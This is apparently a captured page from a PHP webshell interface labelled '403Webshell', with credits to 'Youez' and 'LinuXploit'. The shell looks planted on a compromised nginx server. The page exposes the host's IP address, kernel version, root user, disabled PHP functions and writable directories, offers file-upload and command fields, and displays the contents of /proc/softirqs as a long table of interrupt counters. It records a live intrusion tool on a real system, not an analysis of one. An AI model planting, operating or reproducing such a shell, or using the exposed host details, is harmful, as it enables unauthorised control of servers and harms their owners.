403Webshell
Server IP : 37.27.51.148  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:         41         32         59         40        104         25         32         24         57         20        105         23          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:  829174977 1104024217 1022126789  969332973 1077559507 1042651644 1170675475 1126981052 1735270881 1071498939 1085074288 1027891777          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_TX:    4651588  213560663  301524732   25277688  217618708  171020916  503077590  178762611  330850551  778289323 1025820705  339620001          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_RX: 3849783120 1769275395 1878141622 4264758762 2134371826  882298457 2126718577   13157690 1004212551  610964835 1296165839 1802251078          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       BLOCK:       2842       5479       8613       1966       1439       1742       5817      19561      10550       2129       2191       1839          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:     371896  181818550  534695730   14007090  537041427  150845571  401349315  422004095  279143038 1489986876 1352237730  658441754          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       SCHED: 4015562482  316071025 2965043498 2444465789 2260387054 2136125044 2097878695 2054928272 2317721237 2114089138 2086551099 2070419800          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     HRTIMER:       8959      19445    1276093      26069    5478444      24923     739174    2566662      21463    8203804    2964882    2218342          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU: 2831745861 2273846562 1532784880 2832707467 1313583674 1556394445 1534466058 3672584969 1820741232 1670159172 1299248720 1727869892          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0

Youez - 2016 - github.com/yon3zu
LinuXploit